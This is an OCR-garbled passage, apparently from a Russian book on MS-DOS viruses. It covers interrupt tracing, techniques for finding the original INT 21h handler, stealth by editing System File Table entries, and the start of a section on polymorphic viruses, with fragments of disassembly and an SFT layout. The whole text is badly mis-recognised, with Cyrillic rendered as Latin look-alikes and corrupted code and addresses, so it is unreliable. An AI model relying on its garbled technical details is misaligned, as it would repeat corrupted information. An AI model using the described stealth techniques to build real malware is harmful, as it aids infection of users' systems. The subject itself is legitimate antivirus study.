Hue nepeflaercfi eropoMy KOMnoHenTy. Oh M oxer cflenarb npoBep- 
Kii na onacHOCTb 4>yHKUMM, 3areM BbicraBHTb nepeMeHHyio «npoxop, 
uenoHKM»  m nepefiarb ynpaB/ienne nanbine. npn no/iyneHiin ynpaB- 
jieHMft nepBUM KOMnoHemoM oh npoBepaer nepeMeHHyio «npoxofla 
ueno^KH». E c m  ona BbicraB/ieHa, to 6bi/ia MHcrpyKuua IN T21 h, Hajxo 
cdpocuTb nepeMeHHyio «npoxofl uenoHKH» u nepeaan ynpaBJienue 
flOC. Ectim nepeMeHHaa cGpoinena, to  BU30B npuoien nanpaMyra w 
na/jo npMHHMarb Mepu: cxopee Bcero, am  fleficTBMe Bnpyca.

TaioKe eMy npHHaaJieacHT iizjea, KaK nporpaMMHo pacno3HaTb c|)aKT Be- 
a y m e f ic H  T p a c c iip o B K H  n p e p u B a m if l  [20]:

BbicTaB/ieHHbiu cp/iar rpaccupoBKM moxho BuaBurb KoceeHHO, 3a- 
MacKMpoBaB annapambie npepbiBanua, noMecrm  e [SP-1] koht- 
po/ibHoe 3HaneHue m flaa mcTpyKuwo STI. Tor^a no M3MeHeHnio 
cnoBa b creKe moxho cyamb, 6w.no rpaccHpoBovHoe npepuBaHue 
mjw Her.

H o  o 6a 3THX MeTo;ia 6eccHJibHbi b tom cjiyHae, ccjih «cnjiaikHHi> yace 

coctohjich h BHpvc bctpohjich b CTaHjjapTHbiii o6pa6oTHHK. B  stom c/ry- 
nae hx, HaBepHoe, oyaeT Hcn0.'ib30BaTb caM Biipyc, zum Toro h tooh  no- 
MernaTb pa6oTe «npornBHHKa>.

I I o h c k  b  n a M H T H  p e 3im e H T H o r o  B H p y c a , n e p e x B a T H B iu e ro  y n p a B .ie H H e  

T a K H M  H eO & H M H bIM  CHOCODOM, flOBOJIbHO 3 a T p y flH H T e Jie H  flaace IIJIH  CO Bpe- 

MeHHhlX aHTHBHpyCHbIX n a K e TO B . C H T y a m i H  CymeCTBeHHO OCJIOvKHfleTCH 

H ajIH M H eM  MHOrOHHCJieHHblX B e p c n ii  H  B a p H a H TO B  P C -D O S , M S -D O S ,  
D R -D O S , P T S -D O S , F reeD O S  h  t. n ., crpyKTypbi cran/iapTHbix o 6 p a - 

6 0 T 4 H K 0 B  K O TO p h lX  H aCTO  IIOXOJKH B o 6 m e M , HO C y m e C T B e H H O  pa3JIHM a- 

IO TCH  B A C TaJIH X. A H T H B H p V C y  n p H X O flH TC H  n O B T O p H T b  « H y T b »  B iip y c a , 

T p a c c n p y n  t c m  h j i h  h h m m  0 6 p a 3 0 M  k o / ih  c ra H / ia p T H o ro  o o p a 6 o T H H K a  

h  n o c T O H H H O  n p o B e p H H  o 'fe p e a ify fo  K O M a n a y  H a H a .'ii i 'w e  «H e 3 a K 0 H H 0 it 

B p e 3 K ii»  b  KOflbi C T a n a a p r a o r o  o 6 p a 6 o T 4 H K a .

H o  Biipyc He ooaaaH BCxaBJiHTb b xe;io cxan/iapTMoro o6pa6oTHHKa 

iimchho «HHopoflHyio» /(Jin Hero K0M3H/iy «1 N T ». H e  HCKJIIOHCHO liCITOJIb- 
30BaHHe co6cTBeHHbix <sJMP»’ob hjih fla>Ke no^MeHa aapecoB «uiTaTHbix» 
nepexoflOB (HanpHMep, /ijih M S -D O S  v7.X mojkho 6buio 6bi npocTo «no;i- 
peflaKTHpoBaTb>> a ^ p e c , pacnojiaraiomiiHCH b H'leftice 0C9h:F82h).
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Kopone roBopa, Ha m om ch t nanM cairaH  s th x  c tp o k  npuxoiuiTCH k oh - 

CTaTHpOBaTb, HTO HH BHpyCOnHCaTeJIH, HH BHpyCOJIOI'Il H e 0 /iep>Ka.riH 

OKOHHaTejibHOH n o 6 e a w  b 6 op b 6e  3a o6 jiaaaH H e « h c t h h h h m »  aapecoM  

o 6 p a 6 o T m K a  npepbiBaHHH 21h. «C pa;*ceH H H » 3 a n ix jiH  caMH coooii, no 
M epe «BbiM HpaHHH» MS-DOS.

CnpaBeflJiHBOCTH pa/m c jie a y eT  oTMeTHTb, h to  T pacc iipoB K o ft npepbi
BaHHH H CraaHCHHrOM 3aH H M aJIH C b H  3aHHMaK)TCH H e TOJibKO B H p y C b l II 

aHTHBHpyebI, HO H HeKOTOpHe ZipaHBepbL C H CTeM bi 3amHTW OT HecaHKUH- 

OHHpoBaHHoro KonnpoBaHHH a  apyn ie  6e3ycji0BH0 n o jiesH b ie  nporpaM
Mbi. A n o c jie  2010 r. noHBHJincb 6 v t k h t h ,  HcnoJib3yK>uuie n o a o 6 n y io  T e x -  

HHKV JIJIH KOHTpOJIH 3a BbinOJIHeHHeM 3arpV3KH O n e p a n H O H H O H  CHCTCMbl.

3 .7 2 3 .  IIpoHue M em odu
B B iip y c a x  H 3p e a K a  n c n o jib s y io T C H  h  a p y n i e  m c to jim  n o n c K a  « h c t h h -  

hoto»  3H a n e m ia  a a p e ca  o 6p a 6oTM H K a n p e p b iB a H H H  2 l h ,  n o / m c  o q e n b  H e - 

o 6u iiH b ie . B o t ,  H a n p H M e p , o n n c a H H e  ( o t  M . / J a m u io B a ) B iip y c o B  ce M e ii- 

CTBa MTZ.PinkPanthen
Onenb ocrpoyMHo onpeaemioT opMrma/ibHbiM ajjpec o6pa6o n m a
INT2 1h, nepexBaTMB INT6 n «3a6uB» w p o  DOS 6amaMH OFFh...

M jien  3 T o ro  MCToaa T p e 6 yeT  noH cn eH in l. / [e jio  b tom , m to npepbiBa- 

HHe c H0M ep0M  6 aBTOMaTHMecKH Bbi3biBaeTCH n p n  n onb iTKe n p o n ecco p a  

BbinojiHHTb H e flon ycT iiM v io  KOMaHfly, t o  ecTb KOManay c KaKHM-Hii6ysb 
«cTpaH H b iM » kojiom r a n a  OFFFFh. IIpeaBapHTeJibHO nepexBaTHB sto 
npepbiBaHHe, B iip yc  o6pam aeTCM k K aK ow v-H H fiyab  cepB H cy MS-DOS 
h  acaeT, n oK a  n p o u ecc  n oon epe/ iH oro  Bb inojiH eH iin  KOMana He n on a aeT  

Ha «3aM HHHpoBaHHbiH» yMacTOK i i  ynpaBJieH iie  He n o jiyM irr oopaooTM HK 

npepbiBaHHH 6. Ranee BH pyc n p o cT o  H3BjieKaeT 113 cTeKa a a p ec  (CS h  IP ) 
3T0H tom kh  naMHTii, pacno jioaceH H oii ra e -T o  b « r j iy 6 im a x »  on ep am io H - 

HOH CHCTeMbi.

B03M 0>KH a MOaH(j3HKaiIHH 3 TO H  H fle H , 3aKJHOHaiOm aHCH B C JieayiO U ieM : 

o o j ia r r b  c iic T e M H o ii  n a M H T ii  3a6rrea eTC H  He ko/iom  OFFh, a K o a o M  OCCh 
( s t o  0a H 06a i iT 0BbiH B a p n a H T  K O M a H a w  «INT 3>>). IlepexBaTbiBaTb b  s to m  

c J iy n a e  hv>kho h m c h h o  3-e npepbiBaHHe, a aajibme aeftcTBOBaTb a H a jio - 

n iM iio .

M u xep ecu b ie  M eToabi n o iicK a  o p H rn n a jib H o io  aap eca  oopa6oTHHKa 

npepbiBaHHH 2 lh po/iHJHicb b pe3VJibTaTe npoBO/iHMoro b 1994 r. Ha c rp a - 

m m a x  ^cypna jia  «MoniiTop» KOHKypca KopoTi{oro Koaa. Ohh ocuoBaHbi 

na noGTOHHCTBe CTpyKTypHoii o p ra n iia a u m i BapnaHTOB 3Toro oopa6oTHH- 
Ka b pa3Hbix BepciiHX MS-DOS.
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I le p B M H  m a r n p n  pea/ni3auMn s t h x  m c t o a o b  3aKJiioMaeTca b  on p e^ e- 

jieHHH cerM eH Ta o 6 jia c r a , b KO Topon  pacno/ iaraeTcn  a/ipo MS-DOS. E ro  

m o » :h o  onpeae/iH Tb n p n  noM om H  «C Tapoft 3HaK0M 0H» (JjyHKUHH 52h. 
O H a  a a eT  a o c T y n  k  6oJib iuoM y c rm cK y  azipe coB  0 6 "beKT0B, n o n n i  Bee 113 

K O Topw x pacno.aaraioTCH BHyTpn h #  pa MS-DOS. H p y r o i i  no/ ixoa 3a- 

KJiioHaeTCH b  t o m , h t o  rae-TO  BH yTpii o6pa6oTHHKa npepbiBaHHH 21h pac- 

nojiararoTCH BU30BH n p e p b iB a H H H  2Ah. F lo  yM0Ji4aHHK> o6p aooT K a  s t o -  

r o  npepbiBaHHH H e B b in o jm aeT  HHKaKHX noJie3Hbix a e iic T B H H , n o a TO M V  

m o » h o  n e p e x B a T H T b  e ro  11, K o r/ia  o h o  oyzieT  B b i3 B a H 0 , H3BJieHb H3 cTe K a  

n eo6 xo7 iiiM oe  3 iiaTreHHe cerM eHTa.

/la.TbHettm iiH  n o iicK  Hanajia o6pa6oTHHKa npepuBaHHH 21h BHyTpii 

sT o ro  c e m e i iT a  0CH0BaH Ha c jie/ iy iom H x o6cToaTe/ibCTBax. Bee Bep- 

ch h  MS-DOS (BK jnoHan aa>Ke caM bie n oc jie^ H H e B epcm i 7.X) HMeioT 

«c .T y »ce6H b iii b xo/ i» b r ip o n e a y p w  o6pa6oTK H  npepuBaHHH 21h. O h  co- 

xpaHHJicH c «aoH C TopH H ecK H X » BpeMeH 6 jia roaa p H  T h m v  IlaTT ep coH y , 

npapo/iHTe.Tio cp a 3 y  flB yx  o n e p a u n o H H U x  ch c tcm  a  jih  IBM PC (CP/M 
h  MS-DOS), h  ooecrieH H BaeT H eKO Topyio coBM ecTHM ocTb h npeeMCTBeH- 

HOCTb 3THX n porpaM M H U X  np0/iyKT0B. yn O M H H yru il CCJiytfCeOHhlH BX0fl» 

npeacTaBJineT c o 6 o h  H eK iiii / lonoJiHHTejibiib iii «n epexo flH H K »- -  c})par- 

MCHT H flpa MS-DOS, «OT(f)IIJIbTpOBbIBaiOIHHH» cepBHCHbie 4>yHKUHH c 

KoaaM H, oojibu iH M H  HeM 24h, h  JM iiib n0T0M  n epeaa iom H H  ynpaB/ieH iie Ha 

OCHOBHOH o6pa6oTHHK. A ^peC  3T0T0 «CJiyjKe6HOrO BXO#a» MOJKHO H a ilT H  

b n o3 iiu H H  BeKTopa npepuBaH H H  3 0 h  (B epH ee, TaM pacno/ ia raeTca  n e jn i- 

kom  KOMaH^a n e p e x o fla  Ha 3TOT «ca yaceoH U H  b x o , t » ) :

0000:00C0 EAE40FCQ0G jmp 0GC9.0FE4 ; "CjiY:*e6HUM BXOfl”

K p o M e  T o r o ,  B H y T p i i  PSP ju o o o ii  3 a rp y a c e H H o ii b  n a M H Tb  n p o r p a M M U  

n o  C M e iu e H H io  + 5  HaxonmcH /iajibmtii BH30B s to to  >fce «a,ibTepnaTHBHo- 
r o »  o6pa6oTHHKa:

DS:0C CD20 int 20h
DS:02 ???????? ad ????????
DS:05 9AEEFE1DF0 c a ll  FOID.’ FEEE ; <- aanbH'M atisoe CP/M

IlpoMeacyTOHHaH KOMaima nepexo^a Ha «aJibTepnaTHBiibin»  o6paooT- 
hhk  pacnojiaraeTcn He HenocpeacTBeHHO b tohkc, Kyaa nepe/iaeT ynpaB- 
Jienne KOMaiiaa «C A L L » ,  a HyTb-nyTb aajibine, b nanajie cjiejiyramero ria- 

parpacj)a naMHTH:

F01D:FEEE ???? aw ’ ??’  . "Mycop”
F01D: FEFO EAE40FC900 imp OOCyh: OFÊ h ; fieepfc e "onymefiHuii <oa"
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CaM ace 3tot «cJiyace6nbiH» xoa npeacTaBaneT co6oft HecKOJibKO ko- 
MaHfl, nepepacnpe/iejiamux coaepauiMoe peracTpoB a-Jin MS-DOS (flejio 
b tom, hto b CP/M Ko/i (|)VHKUHH VKa3biBajiCH He b AH, ho b CL) h nepe- 
ziajoiiwx ynpaBJieHHe Ha iy  «BeTBb» craH/iapTHoro o6pa6oTHHKa npepbiBa
HHH 2lh, KOTOpaH BeflaeT «CTapbiMHi> 4>yHKimaMH c KoaaMH ot 0 ao 24h:

00C9:0F96 dw 41C4
OOC9:0F98 dw FF39

, 3 t o  "nepexofiHMK” Ha aiibTepMSTMBHUfi o5pa6omnK
00C9:8FE4 90 nop
00C9:0FE5 90 nop
00C9:0FE6 E89G00 call Check_2A
00C9:0FE9 2EFF2E960F jmp cs:dword ptr [0F96]

3necb HanHHaeTCs koa "ajibTepHaTMSHoro” o6pa6oTMHka 
FF39:41C4 IE push ds

FF39:41E0 80FS24 cmp c l,24h
FF39:41E3 77DC la TooLarge

Koa tyHKUMH flonycTHM?
H6T -  B02BP3T

nepeMecTMTb Koa M3 CL e AH 
Ha oSpaDOTKy ~p3HHMX~ fcyHMJMit 

; 3flecb HaMMHaeTCB ciaHaapTHwfi o&pa6oTHHK np&pHBaHws 21 h 
FF39:4!E9 FA cll

FF39:41E5 8AE1 mov ah,cl
FF39:41E7 EB06 Imp M1

OaKTH'iecKH mh npmiuiH ry/ra ace -  b «cTanaapTHbiH» o6pa6or'jHK 
npepbiBaHHH 21h. IIonyTHO b npouecce aHa.fiii3a BbiacHHJiocb, hto «ajib- 
TepHaTHBHUĤ  o6pa6 oTH H K  Bcer/ia (a/ia ./no6wx BepcHH MS-DOS sto 
HMeHHO T a n ! )  pacnojiaraeTCH  n e n o cp e a cTB e H n o  riepefl «CTaHaapTHhiM» 
o6pa6oTMHK()M h o6j!3aTejibHo (ii 3T0 Toase BepHo!) coaepaarr KOMan/ibi 
«MOV AH.CL* ii «CMP CL,24h». 3Han cerMeHT napa MS-DOS, mo?kho
B0Cn0JIb30BaTbCH KOaaMH 3THX KOMaH/I B K34eCTBe CBoeo6pa3Hoii «cn r- 
HaTypbi» a,nn noiicKa cHanaaa o.raacaHiuiix OKpecniocTeH, a n 0T0M yace 
H CaMOH TOHKH BXOaa B -«OpHniHaJIbHbIH» o 6pa6 oTMHK npepbiBaHHH 21h 
OnepanHOHHOH CHCTeMbi MS-DOS.

Oieayex o T M e rH T b , h t o  b  DR-DOS h  PTS-DOS c T p y K T y p w  o 6 p a 6 o T - 

h h k o b  HecKÔ bKO A p y n ie ,  h  o n n c a H H b ie  .v e T o a b i He B c e ra a  p a 6 o T a io T .

3.7.3. Hcn0̂ b30BaHiie SFT
Eme o/iiiH Merofl, npHMemieMbiii BHpyconHeaTejiHMii b paMKax stealth- 
TeXHOJloniH, OCHOBaH Ha KOppeKTIipOBKe CHCXCMHOH Tao.THUbl (|)aftjlOB 
(SFT -  System File Table) [31]. OTKpbiBan cfjaiix, onepanwonnaH cucTe- 
Ma Bbino.'iHHeT fioabinoe ko;ki4C(’tbo paa/iimjhix aeiicxBHii, npHMepHO 
TaKHX:
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O  «HopMajiH3yeT» hmh 4>aHJia -  npHBo,a;HT ero k 0npe,aejieHH0My bhav;
O  HaHHHaa c KopHeBoro Kanuiora, cKamtpyeT /ipeBOBH/inyro CHCTeMy 

KaTaJioroB, h toou  flo6pan.cH /io npeano.iaraeMoro MecTonojioace- 
hiih 4 >aii;ia;

O  HineT 3anncb o 4)aiuie b Haft^eHHOM KaTaJiore. onpefleJineT fljiimy 
cj)afi^a, npaBa aocTyna k HeMy, aapec n ep B oro  KJiacrepa b FAT n t. n.;

O  Bbi/teJiaeT 06/iacm BHyrpeHHeH naMHTH M S -D O S  ajih 4)ait7ioBbix 
onepamni;

O  o6pa3yeT SFT, 3aHocHT Tyaa coSpaHHyio HHcJiopMaiuuo 06 OTKpu- 
BaeMOM <Jjai4jie;

O  flo6aBJiHeT hobvio S FT  b cnncoK no/io6HHx Taojinn, omicbiBaio- 
mnx paHee OTKpbiTbie cjjaiijibi;

O  B03BpamaeT b n o .t b3 o b a Te .t i>c K y  10 nporpaMMy yHHKajibHoe hhc.ho 
(file  handle), jokhm -to 06pa30M cBH3aHHoe c H0Mep0M S F T  b cnHC- 
K e ,  H  T. a .

TaKHM 0 6 p a 3 0 M ,  S F T  -  s t o  y H M K a / ib H b i i i  o n u c a T e . it b ,  CBoero p o / ia  « n a c -  

nopT»> , K O T O p b iM  o n e p a m io H H a n  C H C T e M a  c H a 6 » c a e T  K a a c f lb if t  O T K p u B a e -  

M b i i i  4>aH.Ti. O H a  x p a H H T  b  3 t o m  p a i io H e  n a M H T H  oojihui o e  k o j i h ' i c c t b o  

« p a 6 o n e H »  H H c f ) o p M a q i i i i ,  h c o o x o a h m o h  jym  B b in o .T iie H H H  H H 3 K o y p o B H e -  

B b ix  o n e p a i y iH  h t c h h h  h  3 a n n c H  A a H H b ix ,  o a f l  n e p e M e m e H H H  V K a 3 a T e ; ie H  

B H j 'T p H  4 > a iiJ ia  h  n p o n e r o :

; --- oaroiiOBOK SFT
Next DD " : +00 aapec Msnyicajefl SFT b cnncK6 fOFFFFh-nocfleflHaa)
N_Files DW ? ,+n4 KO.nnMec.TBO 0FC3 b j»HH0fc SFT
; -- - DFC6 -  COS File Control Slock, "nacnopr' KowcpeTHoro $afijia
N_Hanoles DW » ; +06 x.onvmeeTBO handle1 c-b, oessaHHWx c oaK/iow
Open.Mode DW ? ;+03 pe*MM otkp&tm!) eafi/ia
F_Attr DB f  .+0A aipuSyTbt âii/ia
O.Status DW ? ;+08 6mtw ofmcaHwa cocrosiHiia yCTpofeiBa
P_Driver DD ? +0D yuasaTeflb na ApaftBep yoTpofeTBa
Cluster DW ? ; +11 h cTapTOBuB KfiacTep 0aB.na
f j i e e  DW ? .+I3h gpeM« nociieflHero flooryna k paHny
F_0ate DW 9 ;+15h zjaTa nociisfinero aocryna k tsvn-j
F_Size DD ? :+17h pasMop taftna
F_Pos DD ? ; +1 Bh reKyiaafl no3MUKS m m m /tam m  BHyrpn oaftna
Cur.Cl DW ? : +1 Fh homsp r ^ y m r o  wiacrepa BHyipu ifcafl/ia
Dir_Seot DD ? . +21h cexrop KaTa.nora, co&ep*a«Ka onucare/ib $aiina
Dir_Recs DE 9 ;+25h kOiiimecTBo onncaTene» e oenope xaTâ ora
F_name OB 11 dup(?5; +26h ww 0aitoa b "Hopi«an>i30BaHH0H" $opMaTe
Reso DD ? :+3ih ucn0)ib3yeT0fl fipaiiBepoM SHARE.EXE
N_VM DW 0 ; +35h HOMep BupTyajibHOM MaettHH (noa Windows)
Prog_PSP DW ? +37h cerMeHT PSF nporpaMMbi-'‘xosEfe-T Qatoia
fiesl DW •’ , +39h McnoflbSyeTca apaiieepoM SHARE EXE
Res2 DW ? ; +33n ? V
P_I FS DD +3uh y> a 3 a'T u n b Ha IFS-fipafiBep ;noa Windows)
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I Io jiy M H T b  z io c T y r i  k  SFT mojkho necKOJibKMMH c n o c o 6 a M ii.

Bo-nepBbix, CTapaa 3HaKOMan (fiynKUHH 52h npepuBaHHH 21h B03Bpa- 
m aeT  b ES:[BX+4] aapec nepBoft SFT b cnnc-Ke. HcnoJib3ya nojie «N ext> , 
m o*ho  /[BuraTbCH no cn iicK y  SFT h HCKaTb Hyamyio TafijiH ijy , HanpHMep 
no HMeHH OTKpblTOrO (|>aHJia. «H0pMaaH30BaHHUH» (J)OpMaT HMeHH 4 »h -  

aa  -  3T0 (JwpMaT, Hcnoab3yeMuii, HanpHMep, 4>aiiaoBUMH 4>yHKUHHMH, 
p a 6 oTaromiJMH n ep es  FCB (OFh -  oTK pu Tb  4>afta, 1 lh — HCKaTb nepBbifi 

(J)aHJi h npoyee), a hmchho: 8 chmbojiob Ha hmh, 3 CHMBo/ia Ha pacurape- 
Hiie, a nycTbie no3HL(HH aono-iHHioTCH n p o 6 eaaM H.

B 0 -B T 0 p b IX , 3 H a a  /teCKpH ITTOp O TK p b lTO rO  (j)a H ^ a , MOJKHO B 0 C n 0 JIb 3 0 - 

B aTbC H  c p e a c T B a M H  o n e H b  n o jie 3 H o ro , ho K p a iiH e  c jia 6 o  a  o K yM e H  t h  p  o -  

B a H H o ro  n p e p b iB a H H H  2Fh. 3 to n p e p u B a H H e  a a e T  a o c T y n  k  B H y T p e H H H M  

n p o u e a y p a M  H/ipa MS-DOS. H a n p H M e p , sthmh n p o u e a y p a M H  p e a a H 3 y - 

fOTCH o r a e J ib H u e  «marH» n a a e M e riT a p u b ie  a e iic T B H H , n e o 6 x o / iH M b ie  a a n  

B u n o .iH e H H H  cjio a cH b ix  o n e p a u H H  MS-DOS r a n a  p a c c M O Tp e H H O H  Bbiuie 
o n e p a ijs iH  otkputhh (Jjaii.'ia. / J o c T y n  k SFT o6 e crie H H B a fO T c a e a y ro m n e  

(JjyHKUHH:
O  4>yHKUHH c KOflOM AX=2120h Tpe6yeT Ha Bxoae b peracTpe BX 

3Ha>ieHHe a e c K p H in o p a  oTKpbrroro cfiaiiaa h  B03Bpamaer b ES:DI 
HOMep cooTBeTCTByromefl SFT (roHHee, DFCB);

O  (Jwhklihh c ko^om AX=2116h Tpe6yeT Ha Bxoae b penicrrpe BL ho- 
Mep cooTBercTBjTomeH DFCB h B03Bpam,aeT b ES:DI aapec stoh  

DFCB.
rioc.ie/ioBaTejibHO npHMeHHB ara (jjyHKmra, mojkho rioayMHTb aocxyn 

k HHTepecyiomeH Ta6anue.
K co a ca a e H H io , MS-DOS HHKaK H e n p o B e p n e r  u e a o c T iio c T b  T a 6 a n u  

SFT b n p o u e c c e  pa6oTbi. 3 t h m  noab3yioTCH H e K 0 T0 p b ie  BHpycbi, H a n p n - 

M y io  H3MeHHiomHe 3 H ane H H H  pa3/iH M H M x rroaefi BHyrpn SFT. Hame B c e - 

ro H3MeHeHHK) noflBepraioTCH noan «Open_Mode» (peacHMbi o t k p u t h h  

c^a ii/ ia ) h «F_A ttr» (aTpn6yn>i (J>a iiaa): C H a n a a a  B H p y c  oTKpuBaeT 3apa- 
acaeM hiH (J ia iia  K a K H M -H H o y a b  «6 e ,3 o 6 iiA H b iM » c n o c o 6 o M , H a n p H M e p  b  p e - 

acHMe ^ TO .ib K O  a jih  H T e H H H »; saTCM BHpyc M O flH C jjH U H pye T SFT, p a 3 p e m a H  

caM  flJia c e 6 n  3anHCb b (Jraiia , 3ap aacae T e ro  h , H aK O H e n, BoccTanaBaiiBaeT 
n p e jK H e e  3 H a H e m ie  n o a e ii  SFT. P e 3 iia e H T H U H  a ir r a B H p y c H U H  6 a o K H p o B - 

uihk, O T c a o K H B a r o m n ii  ToabKo n o T e n n iia a b i io  o n a c H u e  o n e p a u H H  ( n p e -  

>Kfle B c e ro  O T K p u r a e  n p o r p a M M H U x  rfja iia o B  Ha 3anHCb), H H H e ro  He 3aM e- 

t h t  h  H H K a K  H e o T p e a n ip y e T  H a  ;ie f ic T B n a  B iip y c a . TaKoii 6 a o K H p o B im iK  

a o a jK e ii  c a M O d O H T e a b H O  oammiiaTb* SFT: H a n p H M e p , n o c a e  s a B e p m e - 

HHH o n e p a u H H  OTKpblTHH cjjaH Ta 3 a n O M H H a Tb  K 0 H Tp 0 a b H V K >  CVM M V n o -  

T e n m ia a b H o  « B n p y c o o i ia c H b ix »  n o a e i i  SFT, a n e p e a  a io 6 o ii  onepaiweil



154 ❖ OaiMoBbe Bupycbi b MS-DOS

3anHCH b  Hero -  cpaBHHBaTb b h o b b  paccMfiTamiyio KonTpojibHyio cy.MMy 

c coxpaneH H O H .

CTpyicrypa T a 6 iin n  SFT, TaK x.e  KaK h MHoacecTBa upvrux BHyTpeHHHX 

cTpyKTyp h cj)yHKUHH, (JjupMOH M icrosoft He soKVMeHTHpoBaHa. 06mhho  

sto  03H anaeT npocTo to, mto, no MHemno pa3pa6oTHHK0B onepamioHHoft 

diCTeMM, npiiKJia/uiOMy nporpa.wMiicTy coBepuieHHO He 06H3aTe.'ibH0 

3Han> o noapo6HOCTHX ee BHyTpemiero ycTpoiicTBa. PaHO h jih  rio3zino s ra  

noapo6 nocTH CTaHOBHTCH H3BecTHbiMH ojiaro/japfl aeaTejibHocni jiio6o- 
3HaTejibHbix xaKepoB ii c 3Toro MOMeHTa oKasuBarorcH r o c t ynHbiMH p ju i 

ncn0Jib30BaHHH jijo6m m h  jKejiaiouiHMii. H o  HHorfla no# OTKa30M aoKy- 
MeHTIipOBaTb Ty H J IH  HHVIO 0C06eHH0CTb CHCTeMbi pa3pa6oTHHKH HMeiOT 

B BHfly HenOCTOHHCTBO 3T0H 0C06eHH0CTH, B03M0JKH0CTb ee H3MeHeHIIH 

b pa3jnmHbix BepcHHX npoayKTa.
TaK cn y m u io cb  a  c  SFT. CrpyKTypa S F T  n om xoH b K y  cnnbi/ia* b  pa3- 

jiHHHbixBepcHHX M S -D O S : CHanajia /uimia D F C B  cocTanjwjia 406afiTOB, 
n0T0M OHa na'iajia «pacTH» -  53 6aiiTa b BepcHH 3.0; 59 6aiiT0 B, HaniiHaa 

c Bepciui 4.01 ii t. a. /to nopw n o  BpeMemi, x o ts  6bi nocjieaoBaTejibHocTb 

pacnojio»ceHHH h pa3Mepw nojiefi ocraBajmcb npe>KHHMH, ho b BepcHH 
7.X. nocTaBjiaeMoii BMecTe c W indows, yace n b stoh  o6 ;iacTH npoH3om- 
jih Kap/niHajibHbie H3MeHeHiia. II ostomv cTapbie BHpycbi, Hcnojib3yioiuiie 

j in x  MacKiipoBKii npaMoii /ioctvii k SFT, b coBpeMeHHbix vcjiobhhx no- 
xepa;iH pa60T0 cn0C0 6 H0CTb.

3 . 8 .  3 a L U M ( f > p o B a H H b i e  m  n o A H M o p c | ) H b i e  

B u p y c b i

A  n o  c J iy x o M  o h u  e o o 6 tU fi ip o p M U  u e  u M e to n i,  k o k  

e o b a , C K d M e M , u m  n a p . . .

A. ir B. CrpyranKjre. «>KyK b MypaBeMHiiKe»

TepM HH <-rio;iHM op(})H3M » c o c t o h t  H3 flB yx  rpenecK H X  K opH eii: p o ly s  -  

M iioroH H cjieH H b iii h  rn orp he  -  cfiopMa. / Io c jio b iio  n ep eB ecT ii e r o  mo>kho 

KaK «MH0r0(|x)pMeHH0CTb>>, «M H oroo6 pa3H ocTb ».

TepMim /laBiio «npoiiHca/ior» b ca.vibix pa3Hbix oo.iacmx iiayiai 11 

TeXHHKII. B  XHMHH, HanpiiMep, OH 03H3’iaeT CnOCOOHOCTb XIIMimeCKHX 

a.neMCHToB npn oflinix h Tex * e  ycJioBiiax cymecTBOBaTb b pa3Hbix co- 
c t o h h h h x : 3Jie\ieHT «yr;iepofl» c aTOMHbiM H0Mep0M 6 -  s t o  ii TBep/u.rii 

npo3paHHbiii K[iHC-ra;L'i a/iMa3a, ii fwiecTjnunn Memyii'iaTbiii nopouioK rpa- 
4>irra, ii m axo bo - ij e p huh  riopomoK Kapoona. A  b 6no/ioniH TepMHH «no-
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JlHMOp(|)H3M» npHMeHHM K OnilCaHHK) pa3H006pa3HH >KH3HeHHMX (JjOpM 

o flH o ro  h  T o ro  ace b u m  cym ecTB : o 6 bilm b ie  Me^oHOCHue nneJibi, H anpH 

Mep, pa3/ie;iHtorcH Ha p u n  c h j i lh o  oT/iHHatouuixcH n o  cT p o eH iiio  opraHH3- 

Ma h  o6 p a3 y  JKH3HH «K a c x »  -  Ha MaTOK, T p yT n e ii m p a 6 oHHX nneji.

B K O M n b K ) T e p i iO H  BHpyCOJIOrHH T e p M H H  «nO JIH M O p4 )iI3M «>  n p H M e H H -  

c t c h  k  o iiH caH iiro  caMOMO/iHc^iinHpyroinHXca n p o r p a M M ,  co x p a H jn o m iix  

c n 0 C0 6 H 0 C T b  p a 6 o T a T b  n o  o n p e a e i ie H H O M V  a j i r o p H T M y ,  h o  n p H  s t o m  H e  

coa ep acam n x  b  c e6 e  ynacTKOB n porp aM M H oro  K o a a ,  K O T O p b ie  m o > kh o  

6ku io  6bi Hcn0Jib30BaTb b KanecTBe nocTOHHHO npHCVTCTByromHx cn r - 

HaTyp.
K o h c h h o  ace , jum  0 4 h o r o - e n h h c tbch h o r o  a j a e M i i j i a p a  r i0 .XH M 0 p ( f)H 0 - 

r o  B i i p y c a  c p a B H H T e J ib H O  H e c j io a c H O  n p o a H a .T O 3 n p o B a T b  e r o  a j ir o p H T M .  

o n p e a e J iH T b  x a p a K T e p n c t h k h , H 3 B J ie n b  n e o S x o z u L M b ie  A -Th  j ie n e H M H  ;iaH - 

H b ie  (H an p iiM ep , « c n p a T a H H b ie »  ru e - T O  b h v t p h  B iipyca  0 p n r n n a - x b n b ie  

o a i i x b i  H 3 H a n a j ia  3a p a a c e H H 0 H  COM-nporpaMMbi) h  yaa/n iT b  B H p y c  113 

n po rp aM M b i « B p y n H y io » .  Ho a j i h  flpyrux 3 K 3 e M n j ia p o B  « 3 a p a 3 b i»  ( B T o p o -  

r o  s r a e M n J ia p a ,  T p e T b e ro . . .  A B a / m a T o r o . . .  cto  x p n / u ia x b  B o c b M o r o . . . )  3 t v  

ace  o n e p a m i io  n p n ; ie T c n  K a a c f lb if t  p a 3  z ie j ia T b  3 a H 0 B 0 !

Pa6oxa aHTHBiipyca, c n o c o o H o ro  aBTO M aTinecK H  o6napy>KiiBaTb 11 

ooe3BpeacHBaTb « 3 a p a 3 y »  TaK oro  p o a a , aoJiacHa 6biTb ocHOBaH a Ha n pH H -  

m m a x ,  OT.xiiMHbix o t  TpiiBw aJibH oro a e T e K T H p o B a m ia  B H p y c a  n o  n p o c T o i i  

CTaniHHOH cHrnaType.

3 .8 . 1 .  3au iii())poB aH H bie  m  no/iiiMop<J>Hbie B u p y c u  
Ann M S -D O S

H c T O p H f l  C 0 3 / ia H H H  H O ,T H M O pcf)U b IX  B i i p y e o B  H 6 o p b 6 b I  c H H M H  OHCHb H a -  

n o M H H a e T  i i c T o p m o  H 0 c . / ie ; i0 B a T e / ib H 0 i i  S B O J iK m m i b x o ^ e  e c T e c T B e H H o r o  

O T S o p a  K 3 K 0 H - T 0  p a 3 H 0 B H f lH 0 C T H  aC H B bIX  O p r3 H H 3 M O B .

CaM bie paHHHe a ra iib i a ra ii H CTopm i xapaK Tep ii3yroTca  nepBbiMH p o o -  

khm h nonbiTKaM ii B iip ycon H caTe.xe ii KaKiiM-TO 06pa30M  3 aTpy/m «Tb  pa- 

